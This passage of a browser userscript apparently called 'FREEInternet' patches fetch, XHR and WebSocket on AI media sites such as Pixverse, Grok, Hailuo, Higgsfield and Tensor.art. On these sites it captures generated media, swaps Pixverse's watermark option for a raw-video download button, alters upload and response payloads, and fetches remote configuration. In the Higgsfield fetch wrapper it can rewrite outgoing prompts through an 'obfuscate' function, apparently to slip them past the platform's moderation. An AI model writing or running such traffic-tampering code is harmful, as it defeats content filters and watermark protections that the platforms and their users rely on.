return originalSend.apply(self, [currentBody]);
});
}
if (url.includes('/media/upload') && parsed?.type !== 2) {
return originalSend.apply(self, [JSON.stringify({ ...parsed, type: 2 })]);
}
pixverseSavedMediaPath = pixverseExtractMediaPath(parsed, url);
} catch (e) {
pixverseError('Error parsing request body:', e);
}
}
if (url.includes('/video/download')) {
let data = currentBody;
if (currentBody instanceof FormData) {
data = Object.fromEntries(currentBody);
} else if (typeof currentBody === 'string') {
data = JSON.parse(currentBody || '{}');
}
if (data?.video_id) {
const videoList = pixverseSafeJsonParse(localStorage.getItem('videoList'), {});
if (videoList[data.video_id]) {
const resolved = `https://media.pixverse.ai/${videoList[data.video_id]}`;
upsertPixverseMediaEntry({
source: 'download',
type: 'video',
taskId: data.video_id,
mediaId: data.video_id,
url: resolved,
previewUrl: resolved,
raw: data
});
pixverseLog('Opened video download link', { videoId: data.video_id });
window.open(resolved, '_blank');
}
return;
}
} else if (url.includes('/image/download')) {
let data = currentBody;
if (currentBody instanceof FormData) {
data = Object.fromEntries(currentBody);
} else if (typeof currentBody === 'string') {
data = JSON.parse(currentBody || '{}');
}
if (data?.image_id) {
const imageList = pixverseSafeJsonParse(localStorage.getItem('imageList'), {});
if (imageList[data.image_id]) {
const resolved = imageList[data.image_id];
upsertPixverseMediaEntry({
source: 'download',
type: 'image',
taskId: data.image_id,
mediaId: data.image_id,
url: resolved,
previewUrl: resolved,
raw: data
});
pixverseLog('Opened image download link', { imageId: data.image_id });
window.open(resolved, '_blank');
}
return;
}
}
return originalSend.apply(self, [currentBody]);
};
pixverseLog('XHR overrides initialized');
} catch (e) {
pixverseError('XHR override failed:', e);
}
}
function pixverseSetupWatermarkButton() {
if (pixverseBtnAttached) return;
function tryAttachButton() {
const watermarkSpan = Array.from(document.querySelectorAll('div[role="menuitem"] span')).find(
el => String(el.textContent || '').trim() === 'Watermark-free'
);
if (!watermarkSpan) return;
if (watermarkSpan.dataset.ytdlcInjected) return;
const newButton = document.createElement('button');
newButton.textContent = 'Watermark-free';
const computed = window.getComputedStyle(watermarkSpan);
newButton.style.cssText = computed.cssText || '';
newButton.style.background = '#142830';
newButton.style.color = '#15FFFF';
newButton.style.fontWeight = 'bold';
newButton.style.cursor = 'pointer';
newButton.style.borderRadius = '6px';
newButton.style.marginLeft = '8px';
newButton.style.padding = '6px 12px';
newButton.onclick = function (event) {
event.stopPropagation();
const videoElement = document.querySelector('.component-video > video, video');
if (videoElement && videoElement.src) {
const videoUrl = videoElement.src;
upsertPixverseMediaEntry({
source: 'watermark-button',
type: 'video',
taskId: Date.now(),
mediaId: videoUrl,
url: videoUrl,
previewUrl: videoUrl,
raw: { from: 'watermark-button' }
});
pixverseLog('Watermark-free download button used');
const linkEl = document.createElement('a');
linkEl.href = videoUrl;
linkEl.download = videoUrl.split('/').pop() || 'video.mp4';
document.body.appendChild(linkEl);
linkEl.click();
document.body.removeChild(linkEl);
} else {
pixverseError('Video element not found or no src attribute');
alert('Could not find the video to download. Please ensure a video is loaded.');
}
};
watermarkSpan.parentNode.replaceChild(newButton, watermarkSpan);
newButton.dataset.ytdlcInjected = '1';
pixverseBtnAttached = true;
}
const startObserving = () => {
tryAttachButton();
const observer = new MutationObserver(() => tryAttachButton());
observer.observe(document.body, { childList: true, subtree: true });
};
if (document.body) {
startObserving();
} else {
document.addEventListener('DOMContentLoaded', startObserving);
}
}
function pixverseInitialize() {
if (pixverseInitialized) return;
try {
pixverseOverrideXHR();
pixverseOverrideFetch();
if (settings.pixverseEnableWatermarkButton) {
pixverseSetupWatermarkButton();
} else {
pixverseWarn('Watermark button override is disabled in settings');
}
pixverseInitialized = true;
pixverseLog('Pixverse module initialized');
} catch (e) {
pixverseError('Initialization failed:', e);
}
}
pixverseInitialize();
}
// ============================================================================
// GROK INTEGRATION (domain-gated)
// ============================================================================
function initGrokIntegration() {
const GROK_PREFIX = '[freeinterenmt grok]';
let grokInitialized = false;
let grokFetchPatched = false;
const grokLog = (level, message, details = null) => {
if (level === 'error') {
console.error(GROK_PREFIX, message, details || '');
} else {
console.log(GROK_PREFIX, message, details || '');
}
addGrokUiLog(level, message, details);
};
const grokWindow = typeof unsafeWindow !== 'undefined' ? unsafeWindow : window;
const safeJson = (input) => {
if (input == null) return null;
if (typeof input === 'object') return input;
try {
return JSON.parse(String(input));
} catch {
return null;
}
};
const collectMediaFromObject = (node, source = 'unknown', visited = new WeakSet()) => {
if (!node || typeof node !== 'object') return;
if (visited.has(node)) return;
visited.add(node);
const process = (value, mediaType, keyName = '', taskId = null) => {
const v = String(value || '').trim();
if (!v || v.length < 6) return;
upsertGrokMediaEntry({
source,
mediaType,
url: v,
taskId,
mediaId: (typeof node === 'object' && (node.videoId || node.imageId || node.asset_id || node.id)) || v,
raw: { key: keyName }
});
};
const taskId = node.taskId || node.task_id || node.id || null;
const videoKeys = ['videoUrl', 'video_url', 'mediaUrl', 'media_url', 'videoId', 'video_id', 'path'];
const imageKeys = ['imageUrl', 'image_url', 'imageId', 'image_id', 'imageReference', 'thumbnail', 'previewUrl', 'last_frame'];
videoKeys.forEach((k) => {
if (node[k] != null) process(node[k], 'video', k, taskId);
});
imageKeys.forEach((k) => {
if (node[k] != null) process(node[k], 'image', k, taskId);
});
for (const [k, v] of Object.entries(node)) {
if (v && typeof v === 'object') {
collectMediaFromObject(v, source, visited);
} else if (typeof v === 'string' && /\.(mp4|webm|mov)(\?|$)/i.test(v)) {
process(v, 'video', k, taskId);
} else if (typeof v === 'string' && /\.(png|jpe?g|gif|webp)(\?|$)/i.test(v)) {
process(v, 'image', k, taskId);
}
}
};
const tryCapturePayload = (payload, source, urlHint = '') => {
if (!settings.grokInterceptorEnabled) return;
const parsed = safeJson(payload);
if (!parsed || typeof parsed !== 'object') return;
collectMediaFromObject(parsed, source);
if (urlHint) {
grokLog('info', 'Payload scanned', { source, url: urlHint });
}
};
const patchFetch = () => {
if (grokFetchPatched || typeof grokWindow.fetch !== 'function') return;
const nativeFetch = grokWindow.fetch.bind(grokWindow);
grokWindow.fetch = async (...args) => {
const req = args[0];
const url = typeof req === 'string' ? req : (req?.url || '');
const response = await nativeFetch(...args);
if (!settings.grokInterceptorEnabled) return response;
try {
const ct = String(response.headers?.get?.('content-type') || '').toLowerCase();
if (!ct.includes('json') && !url.includes('/rest/') && !url.includes('/_data/')) return response;
const text = await response.clone().text();
tryCapturePayload(text, 'fetch', url);
} catch (err) {
grokLog('warn', 'Fetch capture failed', { url, error: String(err?.message || err) });
}
return response;
};
grokFetchPatched = true;
grokLog('success', 'Fetch capture initialized');
};
const patchXHR = () => {
try {
const proto = grokWindow.XMLHttpRequest && grokWindow.XMLHttpRequest.prototype;
if (!proto || proto._grokCapturePatched) return;
const originalOpen = proto.open;
const originalSend = proto.send;
proto.open = function (method, url) {
this._grokCaptureUrl = url;
return originalOpen.apply(this, arguments);
};
proto.send = function (body) {
const url = this._grokCaptureUrl || '';
this.addEventListener('load', () => {
if (!settings.grokInterceptorEnabled) return;
try {
if (this.status < 200 || this.status >= 300) return;
const text = String(this.responseType === 'json' ? JSON.stringify(this.response || {}) : (this.responseText || ''));
tryCapturePayload(text, 'xhr', url);
} catch (err) {
grokLog('warn', 'XHR capture failed', { url, error: String(err?.message || err) });
}
}, { once: true });
return originalSend.apply(this, [body]);
};
proto._grokCapturePatched = true;
grokLog('success', 'XHR capture initialized');
} catch (err) {
grokLog('error', 'XHR patch failed', { error: String(err?.message || err) });
}
};
const patchWebSocket = () => {
try {
const NativeWS = grokWindow.WebSocket;
if (!NativeWS || NativeWS._grokCapturePatched) return;
const WrappedWS = function (...args) {
const ws = new NativeWS(...args);
ws.addEventListener('message', (event) => {
if (!settings.grokInterceptorEnabled) return;
tryCapturePayload(event?.data, 'websocket', ws.url || '');
});
return ws;
};
WrappedWS.prototype = NativeWS.prototype;
WrappedWS._grokCapturePatched = true;
grokWindow.WebSocket = WrappedWS;
grokLog('success', 'WebSocket capture initialized');
} catch (err) {
grokLog('warn', 'WebSocket patch failed', { error: String(err?.message || err) });
}
};
const initialize = () => {
if (grokInitialized) return;
patchFetch();
patchXHR();
patchWebSocket();
grokInitialized = true;
grokLog('success', 'Grok module initialized', { domain: window.location.hostname });
};
initialize();
}
// ============================================================================
// HAILUO INTEGRATION (domain-gated)
// ============================================================================
function initHailuoIntegration() {
const HAILUO_PREFIX = '[freeinterenmt hailuoai]';
const hailuoWindow = typeof unsafeWindow !== 'undefined' ? unsafeWindow : window;
let hailuoInitialized = false;
const hailuoLog = (level, message, details = null) => {
try {
if (String(level).toLowerCase() === 'error') {
console.error(HAILUO_PREFIX, message, details || '');
} else {
console.log(HAILUO_PREFIX, message, details || '');
}
} catch {
// ignore
}
addHailuoUiLog(level, message, details);
};
const shouldAcceptUrl = (url) => {
const u = String(url || '').trim();
if (!u) return false;
if (!/^https?:\/\//i.test(u)) return false;
if (/\.(css|js|mjs|map|ico|svg|woff2?|ttf|otf)(\?|$)/i.test(u)) return false;
if (/(favicon|sprite|analytics|telemetry|segment|sentry|hotjar)/i.test(u)) return false;
const t = hailuoInferMediaType(u);
return t === 'video' || t === 'image';
};
const captureUrl = (url, source, raw = null) => {
if (!settings.hailuoCaptureMediaLinks) return;
if (!shouldAcceptUrl(url)) return;
const id = hailuoComputeId(url);
if (!id) return;
// Only log + refresh when we actually add something new.
const before = loadHailuoMediaCache();
const existed = !!before[id];
upsertHailuoMediaEntry({
id,
url,
mediaType: hailuoInferMediaType(url) || '',
source,
raw
});
if (!existed) {
hailuoLog('info', 'Captured media url', { source, id, url });
}
};
const extractUrlsFromText = (text, source, urlHint = '') => {
if (!settings.hailuoCaptureMediaLinks) return;
const normalized = String(text || '').replace(/\\\//g, '/');
const regex = /(https?:\/\/[^\s"'<>]+?\.(?:mp4|webm|mov|m4v|m3u8|png|jpe?g|gif|webp)(?:\?[^\s"'<>]*)?)/ig;
let match;
let count = 0;
while ((match = regex.exec(normalized))) {
count += 1;
captureUrl(match[1], source, { urlHint });
if (count > 200) break;
}
if (count && urlHint) {
hailuoLog('info', 'Text payload scanned', { source, url: urlHint, matches: count });
}
};
const collectFromJsonLike = (node, source, visited = new WeakSet()) => {
if (!node) return;
if (typeof node === 'string') {
extractUrlsFromText(node, source);
return;
}
if (typeof node !== 'object') return;
if (visited.has(node)) return;
visited.add(node);
if (Array.isArray(node)) {
node.forEach((item) => collectFromJsonLike(item, source, visited));
return;
}
for (const [k, v] of Object.entries(node)) {
if (typeof v === 'string') {
if (shouldAcceptUrl(v)) {
captureUrl(v, source, { key: k });
} else {
extractUrlsFromText(v, source);
}
} else if (v && typeof v === 'object') {
collectFromJsonLike(v, source, visited);
}
}
};
const patchFetch = () => {
try {
if (hailuoWindow.fetch?._hailuoCapturePatched) return;
if (typeof hailuoWindow.fetch !== 'function') return;
const nativeFetch = hailuoWindow.fetch.bind(hailuoWindow);
const wrapped = async (...args) => {
const req = args[0];
const url = typeof req === 'string' ? req : (req?.url || '');
const response = await nativeFetch(...args);
if (!settings.hailuoCaptureMediaLinks) return response;
try {
const ct = String(response.headers?.get?.('content-type') || '').toLowerCase();
if (!ct.includes('json') && !/api|graphql|\/rest\//i.test(url)) return response;
const text = await response.clone().text();
extractUrlsFromText(text, 'fetch', url);
try {
const parsed = JSON.parse(text);
collectFromJsonLike(parsed, 'fetch');
} catch {
// ignore
}
} catch (err) {
hailuoLog('warn', 'Fetch capture failed', { url, error: String(err?.message || err) });
}
return response;
};
wrapped._hailuoCapturePatched = true;
hailuoWindow.fetch = wrapped;
hailuoLog('success', 'Fetch capture initialized');
} catch (err) {
hailuoLog('warn', 'Fetch patch failed', { error: String(err?.message || err) });
}
};
const patchXHR = () => {
try {
const proto = hailuoWindow.XMLHttpRequest && hailuoWindow.XMLHttpRequest.prototype;
if (!proto || proto._hailuoCapturePatched) return;
const originalOpen = proto.open;
const originalSend = proto.send;
proto.open = function (method, url) {
this._hailuoCaptureUrl = url;
return originalOpen.apply(this, arguments);
};
proto.send = function (body) {
const url = this._hailuoCaptureUrl || '';
this.addEventListener('load', () => {
if (!settings.hailuoCaptureMediaLinks) return;
try {
if (this.status < 200 || this.status >= 300) return;
const text = String(this.responseType === 'json' ? JSON.stringify(this.response || {}) : (this.responseText || ''));
extractUrlsFromText(text, 'xhr', url);
try {
const parsed = JSON.parse(text);
collectFromJsonLike(parsed, 'xhr');
} catch {
// ignore
}
} catch (err) {
hailuoLog('warn', 'XHR capture failed', { url, error: String(err?.message || err) });
}
}, { once: true });
return originalSend.apply(this, [body]);
};
proto._hailuoCapturePatched = true;
hailuoLog('success', 'XHR capture initialized');
} catch (err) {
hailuoLog('warn', 'XHR patch failed', { error: String(err?.message || err) });
}
};
const scanDomOnce = (reason = 'manual') => {
if (!settings.hailuoCaptureMediaLinks) return;
try {
const videos = Array.from(document.querySelectorAll('video'));
videos.forEach((video) => {
captureUrl(video.currentSrc || video.src || '', 'dom-video', { reason });
captureUrl(video.poster || '', 'dom-video-poster', { reason });
Array.from(video.querySelectorAll('source')).forEach((sourceEl) => {
captureUrl(sourceEl.src || '', 'dom-video-source', { reason });
});
});
const sources = Array.from(document.querySelectorAll('source'));
sources.forEach((sourceEl) => captureUrl(sourceEl.src || '', 'dom-source', { reason }));
const images = Array.from(document.querySelectorAll('img'));
images.forEach((img) => {
captureUrl(img.currentSrc || img.src || '', 'dom-img', { reason });
captureUrl(img.getAttribute('data-src') || '', 'dom-img-data-src', { reason });
});
const anchors = Array.from(document.querySelectorAll('a[href]'));
anchors.forEach((a) => captureUrl(a.href || '', 'dom-link', { reason }));
} catch (err) {
hailuoLog('warn', 'DOM scan failed', { reason, error: String(err?.message || err) });
}
};
let scanTimer = null;
const scheduleScan = (reason) => {
if (scanTimer) return;
scanTimer = setTimeout(() => {
scanTimer = null;
scanDomOnce(reason);
}, 650);
};
const startObserver = () => {
try {
if (!document.documentElement) return;
const observer = new MutationObserver(() => scheduleScan('mutation'));
observer.observe(document.documentElement, { childList: true, subtree: true });
hailuoLog('success', 'DOM observer initialized');
} catch (err) {
hailuoLog('warn', 'DOM observer failed', { error: String(err?.message || err) });
}
};
const initialize = () => {
if (hailuoInitialized) return;
patchFetch();
patchXHR();
scanDomOnce('startup');
startObserver();
hailuoInitialized = true;
hailuoLog('success', 'Hailuo module initialized', { domain: window.location.hostname });
};
initialize();
}
// ============================================================================
// HIGGSFIELD INTEGRATION (domain-gated)
// ============================================================================
function initHiggsfieldIntegration() {
const HIGGSFIELD_PREFIX = '[freeinterenmt higgsfield]';
const higgsfieldWindow = typeof unsafeWindow !== 'undefined' ? unsafeWindow : window;
let initialized = false;
const log = (level, message, details = null) => {
try {
if (String(level).toLowerCase() === 'error') console.error(HIGGSFIELD_PREFIX, message, details || '');
else console.log(HIGGSFIELD_PREFIX, message, details || '');
} catch {
// ignore
}
addHiggsfieldUiLog(level, message, details);
};
const isRelevantUrl = (url) => /\/user|\/project|\/custom-references|\/jobs/i.test(String(url || ''));
const handlePayload = async (data, requestUrl, source = 'fetch') => {
if (!data || typeof data !== 'object') return;
if (/\/user\/free-gens/i.test(requestUrl)) {
log('info', 'Observed Higgsfield quota response', {
source,
keys: Object.keys(data).slice(0, 12),
soul: data?.soul ?? null
});
return;
}
if (/\/custom-references\/v2/i.test(requestUrl) && Array.isArray(data.items)) {
await Promise.all(data.items.map((item) => upsertHiggsfieldSoul(item, `${source}:custom-references-v2`)));
return;
}
if (/\/custom-references/i.test(requestUrl) && data?.id) {
await upsertHiggsfieldSoul(data, `${source}:custom-reference`);
return;
}
if (/\/project/i.test(requestUrl) && Array.isArray(data?.job_sets)) {
for (const jobSet of data.job_sets) {
await upsertHiggsfieldJob(mapHiggsfieldJobSetToProject(jobSet), `${source}:project`);
}
return;
}
if (/\/jobs/i.test(requestUrl) && (data?.job_set_id || data?.id)) {
await upsertHiggsfieldJob(mapHiggsfieldJobSetToProject(data), `${source}:jobs`);
}
};
const maybeBuildModifiedPayload = async (data, requestUrl) => {
if (!data || typeof data !== 'object') return null;
if (/\/custom-references\/v2/i.test(requestUrl) && Array.isArray(data.items)) {
const cachedCompleted = await higgsfieldSouls.getAll(
(soul) => soul?.status === 'completed' && data.items.findIndex((item) => item?.id === soul?.id) === -1,
'created_at',
true
).catch(() => []);
if (cachedCompleted.length) {
return {
...data,
items: data.items.concat(cachedCompleted)
};
}
}
if (/\/custom-references/i.test(requestUrl)) {
try {
const urlObj = new URL(requestUrl, window.location.origin);
const id = urlObj.pathname.split('/').filter(Boolean).at(-1);
if (id && id !== 'custom-references' && !data?.id) {
const cachedSoul = await higgsfieldSouls.get(id).catch(() => null);
if (cachedSoul) return cachedSoul;
}
} catch {
// ignore URL parse issues
}
}
return null;
};
const patchFetch = () => {
try {
if (higgsfieldWindow.fetch?._higgsfieldCapturePatched) return;
if (typeof higgsfieldWindow.fetch !== 'function') return;
const nativeFetch = higgsfieldWindow.fetch.bind(higgsfieldWindow);
const wrapped = async (...args) => {
const req = args[0];
const url = typeof req === 'string' ? req : (req?.url || '');
const method = String(args?.[1]?.method || req?.method || '').toUpperCase();
if (settings.higgsfieldEnablePromptObfuscation && /\/jobs\//i.test(url) && method === 'POST' && args?.[1]?.body) {
try {
const parsedBody = JSON.parse(String(args[1].body));
const currentPrompt = String(parsedBody?.params?.prompt || '');
if (currentPrompt) {
const nextPrompt = obfuscateHiggsfieldPrompt(currentPrompt);
if (nextPrompt !== currentPrompt) {
args = [...args];
args[1] = {
...args[1],
body: JSON.stringify({
...parsedBody,
params: {
...(parsedBody.params || {}),
prompt: nextPrompt
}
})
};
log('info', 'Obfuscated outgoing Higgsfield prompt', { url, length: currentPrompt.length });
}
}
} catch (err) {
log('warn', 'Failed to obfuscate outgoing Higgsfield prompt', { url, error: String(err?.message || err) });
}
}
const response = await nativeFetch(...args);
if (!isRelevantUrl(url)) return response;
try {
const contentType = String(response.headers?.get?.('content-type') || '').toLowerCase();
if (!contentType.includes('json')) return response;
const text = await response.clone().text();
if (!text || (!text.trim().startsWith('{') && !text.trim().startsWith('['))) return response;
const parsed = JSON.parse(text);
await handlePayload(parsed, url, 'fetch');
const modifiedPayload = await maybeBuildModifiedPayload(parsed, url);
if (modifiedPayload) {
return new Response(JSON.stringify(modifiedPayload), {
status: response.status,
statusText: response.statusText,
headers: response.headers
});
}
} catch (err) {
log('warn', 'Fetch capture failed', { url, error: String(err?.message || err) });
}
return response;
};
wrapped._higgsfieldCapturePatched = true;
higgsfieldWindow.fetch = wrapped;
log('success', 'Fetch capture initialized');
} catch (err) {
log('warn', 'Fetch patch failed', { error: String(err?.message || err) });
}
};
const initialize = () => {
if (initialized) return;
patchFetch();
initialized = true;
log('success', 'Higgsfield module initialized', { domain: window.location.hostname });
};
initialize();
}
if (/^app\.pixverse\.ai$/i.test(window.location.hostname)) {
initPixverseIntegration();
}
if (IS_DIGEN_DOMAIN) {
initDigenIntegration();
}
if (IS_GROK_DOMAIN) {
initGrokIntegration();
}
if (IS_HIGGSFIELD_DOMAIN) {
initHiggsfieldIntegration();
}
if (IS_HAILUO_DOMAIN) {
initHailuoIntegration();
}
// Initialize - Check if we're on the profile page at freeinternet.tensor.art
const profilePageMatch = window.location.href.match(/freeinternet\.tensor\.art.*freeinternet\?profiles=([^&]+)/);
if (profilePageMatch) {
// Prevent page auto-refresh
Object.defineProperty(window.location, 'href', {
set: function() {},
get: function() { return window.location.href; }
});
const profileName = decodeURIComponent(profilePageMatch[1]);
const profiles = getTaskProfiles();
const profile = profiles[profileName];
// Wait briefly for page to start rendering, then replace entire HTML
setTimeout(() => {
// Stop all page updates
window.stop();
// Get or create body
let body = document.body;
if (!body) {
body = document.createElement('body');
document.documentElement.appendChild(body);
}
// Clear and rebuild the page completely
body.innerHTML = '';
body.style.cssText = `
margin: 0;
padding: 0;
background: #0f172a;
color: #e2e8f0;
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
overflow-x: hidden;
`;
// Add Font Awesome if not present
if (!document.querySelector('link[href*="fontawesome"]')) {
const faLink = document.createElement('link');
faLink.rel = 'stylesheet';
faLink.href = 'https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css';
document.head.appendChild(faLink);
}
if (profile && profile.tasks && profile.tasks.length > 0) {
// Build profile page HTML
const profileHTML = `
<div style="min-height: 100vh; background: #0f172a; color: #e2e8f0;">
<div style="max-width: 1400px; margin: 0 auto; padding: 40px 20px;">
<!-- Header -->
<div style="display: flex; justify-content: space-between; align-items: flex-start; padding-bottom: 24px; border-bottom: 1px solid rgba(148, 163, 184, 0.2); margin-bottom: 32px;">
<div>
<h1 style="font-size: 32px; font-weight: 700; margin: 0 0 8px 0; color: #f1f5f9;">
<i class="fas fa-layer-group" style="margin-right: 12px; color: #6366f1;"></i>${escapeHtml(profileName)}
</h1>
<p style="margin: 0; color: #94a3b8; font-size: 14px;">Task Profile Collection</p>
</div>
<div style="text-align: right; color: #94a3b8; font-size: 13px;">
<div style="margin-bottom: 8px;"><strong>${profile.tasks.length}</strong> tasks</div>
<div>Created: ${new Date(profile.createdAt).toLocaleDateString()}</div>
</div>
</div>
<!-- Actions -->
<div style="display: flex; gap: 12px; flex-wrap: wrap; margin-bottom: 32px;">
<button onclick="(() => { const json = '${JSON.stringify(profile).replace(/'/g, "\\'")}'; const blob = new Blob([json], {type: 'application/json'}); const url = URL.createObjectURL(blob); const a = document.createElement('a'); a.href = url; a.download = '${profileName}_profile.json'; a.click(); URL.revokeObjectURL(url); })()" style="padding: 12px 20px; border: 1px solid #6366f1; background: rgba(99, 102, 241, 0.1); color: #6366f1; border-radius: 8px; cursor: pointer; font-weight: 600; transition: all 0.2s; display: flex; align-items: center; gap: 8px;" onmouseover="this.style.background='rgba(99, 102, 241, 0.2)'; this.style.borderColor='#818cf8';" onmouseout="this.style.background='rgba(99, 102, 241, 0.1)'; this.style.borderColor='#6366f1';">
<i class="fas fa-download"></i> Export JSON
</button>
<button onclick="window.location.href='https://freeinternet.tensor.art/';" style="padding: 12px 20px; border: 1px solid rgba(148, 163, 184, 0.5); background: rgba(148, 163, 184, 0.1); color: #cbd5e1; border-radius: 8px; cursor: pointer; font-weight: 600; transition: all 0.2s; display: flex; align-items: center; gap: 8px;" onmouseover="this.style.background='rgba(148, 163, 184, 0.2)';" onmouseout="this.style.background='rgba(148, 163, 184, 0.1)';">
<i class="fas fa-arrow-left"></i> Back to FREEInternet
</button>
</div>
<!-- Media Grid -->
<div style="display: grid; grid-template-columns: repeat(auto-fill, minmax(240px, 1fr)); gap: 20px;">
${profile.tasks.map((taskEntry, taskIdx) =>
(taskEntry.taskData?.items || [])
.map((item, itemIdx) => {
if (!item.imageId) return '';
return `
<div style="background: rgba(30, 41, 59, 0.8); border: 1px solid rgba(99, 102, 241, 0.2); border-radius: 8px; overflow: hidden; transition: all 0.2s; display: flex; flex-direction: column;" onmouseover="this.style.borderColor='#6366f1'; this.style.background='rgba(99, 102, 241, 0.1)'; this.style.transform='translateY(-4px)'; this.style.boxShadow='0 4px 12px rgba(99, 102, 241, 0.2)';" onmouseout="this.style.borderColor='rgba(99, 102, 241, 0.2)'; this.style.background='rgba(30, 41, 59, 0.8)'; this.style.transform='none'; this.style.boxShadow='none';">
<!-- Image -->
<div style="width: 100%; height: 180px; background: #1e293b; display: flex; align-items: center; justify-content: center; overflow: hidden; border-bottom: 1px solid rgba(99, 102, 241, 0.2);">
${item.url && !item.url.includes('forbidden') && !item.url.includes('reviewing')
? `<img src="${item.url}" style="width: 100%; height: 100%; object-fit: cover;" onerror="this.style.display='none';">`
: `<i class="fas ${item.mimeType?.startsWith('video/') ? 'fa-video' : 'fa-image'}" style="font-size: 32px; color: #475569; opacity: 0.5;"></i>`
}
</div>
<!-- Content -->
<div style="padding: 12px; flex: 1; display: flex; flex-direction: column; gap: 8px;">
<div style="font-weight: 600; font-size: 12px; color: #f1f5f9; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;" title="Task ${taskEntry.taskId} - Item ${itemIdx + 1}">Task ${taskEntry.taskId} - Item ${itemIdx + 1}</div>
<div style="font-size: 11px; color: #64748b;">${item.mimeType || 'unknown'} ${item.width && item.height ? '• ' + item.width + 'x' + item.height : ''}</div>
<div style="display: flex; gap: 4px; margin-top: auto;">
${item.url && !item.url.includes('forbidden')
? `<button onclick="window.open('${item.url}', '_blank');" style="flex: 1; padding: 6px; border: 1px solid rgba(99, 102, 241, 0.4); background: rgba(99, 102, 241, 0.1); color: #cbd5e1; border-radius: 4px; cursor: pointer; font-size: 10px; transition: all 0.2s;" onmouseover="this.style.background='rgba(99, 102, 241, 0.2)'; this.style.borderColor='#6366f1';" onmouseout="this.style.background='rgba(99, 102, 241, 0.1)'; this.style.borderColor='rgba(99, 102, 241, 0.4)';"><i class="fas fa-eye"></i> View</button>`
: `<button disabled style="flex: 1; padding: 6px; border: 1px solid rgba(99, 102, 241, 0.2); background: rgba(99, 102, 241, 0.05); color: #64748b; border-radius: 4px; cursor: not-allowed; font-size: 10px; opacity: 0.5;"><i class="fas fa-eye"></i> View</button>`
}
${item.url
? `<button onclick="navigator.clipboard.writeText('${item.url}'); this.innerHTML='<i class=\\'fas fa-check\\'></i> Copied!'; setTimeout(() => this.innerHTML='<i class=\\'fas fa-copy\\'></i> Copy', 2000);" style="flex: 1; padding: 6px; border: 1px solid rgba(99, 102, 241, 0.4); background: rgba(99, 102, 241, 0.1); color: #cbd5e1; border-radius: 4px; cursor: pointer; font-size: 10px; transition: all 0.2s;" onmouseover="this.style.background='rgba(99, 102, 241, 0.2)'; this.style.borderColor='#6366f1';" onmouseout="this.style.background='rgba(99, 102, 241, 0.1)'; this.style.borderColor='rgba(99, 102, 241, 0.4)';"><i class="fas fa-copy"></i> Copy</button>`
: `<button disabled style="flex: 1; padding: 6px; border: 1px solid rgba(99, 102, 241, 0.2); background: rgba(99, 102, 241, 0.05); color: #64748b; border-radius: 4px; cursor: not-allowed; font-size: 10px; opacity: 0.5;"><i class="fas fa-copy"></i> Copy</button>`
}
${item.url
? `<button onclick="const a = document.createElement('a'); a.href='${item.url}'; a.download='${item.downloadFileName || 'media'}'; a.click();" style="flex: 1; padding: 6px; border: 1px solid rgba(99, 102, 241, 0.4); background: rgba(99, 102, 241, 0.1); color: #cbd5e1; border-radius: 4px; cursor: pointer; font-size: 10px; transition: all 0.2s;" onmouseover="this.style.background='rgba(99, 102, 241, 0.2)'; this.style.borderColor='#6366f1';" onmouseout="this.style.background='rgba(99, 102, 241, 0.1)'; this.style.borderColor='rgba(99, 102, 241, 0.4)';"><i class="fas fa-download"></i> DL</button>`
: `<button disabled style="flex: 1; padding: 6px; border: 1px solid rgba(99, 102, 241, 0.2); background: rgba(99, 102, 241, 0.05); color: #64748b; border-radius: 4px; cursor: not-allowed; font-size: 10px; opacity: 0.5;"><i class="fas fa-download"></i> DL</button>`
}
</div>
</div>
</div>
`;
})
.join('')
).join('')}
</div>
</div>
</div>
`;
body.innerHTML = profileHTML;
} else {
// Profile not found
const errorHTML = `
<div style="min-height: 100vh; display: flex; align-items: center; justify-content: center; background: #0f172a;">
<div style="text-align: center; padding: 60px 20px; color: #cbd5e1; max-width: 400px;">
<i class="fas fa-exclamation-circle" style="font-size: 48px; color: #94a3b8; display: block; margin-bottom: 16px; opacity: 0.6;"></i>
<h2 style="margin: 0 0 12px 0; color: #f1f5f9; font-size: 22px;">Profile Not Found</h2>
<p style="margin: 0 0 24px 0; font-size: 14px; color: #94a3b8;">The profile "${escapeHtml(profileName)}" does not exist or is empty.</p>
<button onclick="window.location.href='https://freeinternet.tensor.art/';" style="color: #6366f1; text-decoration: none; font-weight: 600; display: inline-block; padding: 10px 20px; border: 1px solid #6366f1; border-radius: 6px; transition: all 0.2s; cursor: pointer; background: transparent;"
onmouseover="this.style.background='rgba(99, 102, 241, 0.1)'"
onmouseout="this.style.background='transparent'">
← Back to FREEInternet
</button>
</div>
</div>
`;
body.innerHTML = errorHTML;
}
}, 100);
}
// Only inject styles if not on profile page
const isProfilePage = !!window.location.href.match(/freeinternet\.tensor\.art.*freeinternet\?profiles=/);
if (!isProfilePage && (IS_TENSOR_DOMAIN || IS_PIXVERSE_DOMAIN || IS_DIGEN_DOMAIN || IS_GROK_DOMAIN || IS_HIGGSFIELD_DOMAIN || IS_HAILUO_DOMAIN)) {
injectStyles();
}
if (IS_TENSOR_DOMAIN || IS_PIXVERSE_DOMAIN || IS_DIGEN_DOMAIN || IS_GROK_DOMAIN || IS_HIGGSFIELD_DOMAIN || IS_HAILUO_DOMAIN) {
fetchRemoteConfig(); // Load remote config and announcements
startRemoteConfigWatcher();
document.addEventListener('visibilitychange', () => {
if (document.visibilityState === 'visible') {
fetchRemoteConfigWithOptions({ force: true, reason: 'tab-visible' });
startRemoteConfigWatcher();
}
});
// Load shared settings if enabled (Tensor domains only)
if (IS_TENSOR_DOMAIN && settings.tensorhubShareSettings) {
loadSharedSettings();
}
}
// Developer inject system (runs user-defined inject tasks on matching pages)
if (!isProfilePage) {
startDeveloperInjectSystem();
}
// ── Auto Recheck Links On Load ──────────────────────────────────────────────
// When enabled: runs on page load WITHOUT opening the floating panel.
// Loads all cached items, checks their signed-URL expiry, refreshes stale ones,
// updates cache. Console logs are kept minimal to avoid spam.
async function startAutoRecheckLinksOnLoad() {
if (!settings.autoRecheckLinksOnLoad || !IS_TENSOR_DOMAIN) return;
// Wait for cache to be fully loaded
await new Promise(r => setTimeout(r, 1200));
const allItems = Array.isArray(itemsData) ? [...itemsData] : [];
if (!allItems.length) {
freeInternetConsoleLog('Tensor', 'info', '[AutoRecheck] No cached items to check.', {});
return;
}
const now = Date.now();
